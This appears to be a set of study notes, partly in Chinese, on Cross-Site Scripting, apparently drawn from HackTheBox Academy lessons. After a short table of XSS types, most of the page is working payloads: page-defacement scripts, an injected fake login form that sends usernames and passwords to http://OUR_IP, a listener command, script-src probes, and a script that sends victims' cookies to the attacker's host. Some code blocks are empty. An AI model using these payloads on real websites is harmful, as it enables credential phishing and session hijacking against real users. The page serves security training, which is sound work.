Cross-Site Scripting (XSS)
XSS 漏洞主要有三种类型:
Type | Description |
---|---|
Stored (Persistent) XSS |
最严重的 XSS 类型,发生在用户输入存储在后端数据库并在检索时显示(例如,帖子或评论)时 |
Reflected (Non-Persistent) XSS |
用户输入经过后端服务器处理后显示在页面上,但未被存储(例如搜索结果或错误信息)时发生 |
DOM-based XSS |
另一种非持久性 XSS 类型,当用户输入直接显示在浏览器中并完全在客户端处理,而无需到达后端服务器(例如,通过客户端 HTTP 参数或锚标记)时发生 |
污染页面元素
更改背景
1 | <script>document.body.style.background = "#141d2b"</script> |
更改标题
1 | <script>document.title = 'HackTheBox Academy'</script> |
更改文本
1 | document.getElementById("todo").innerHTML = "New Text" |
XSS payload
1 | <script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy"> </p></center>'</script> |
Phishing
Phishing form
1 | <h3>Please login to continue</h3> |
Payload
1 | document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');<!-- |
Server
1 | nv -lvnp 80 |
or
1 |
|
Hijacking
Fuzz
1 | <script src=http://OUR_IP></script> |
Payload
1 | '><script src=http://OUR_IP/script.js></script> |
Server
script.js
1 | document.location='http://OUR_IP/'+document.cookie; |
index.php
1 |
|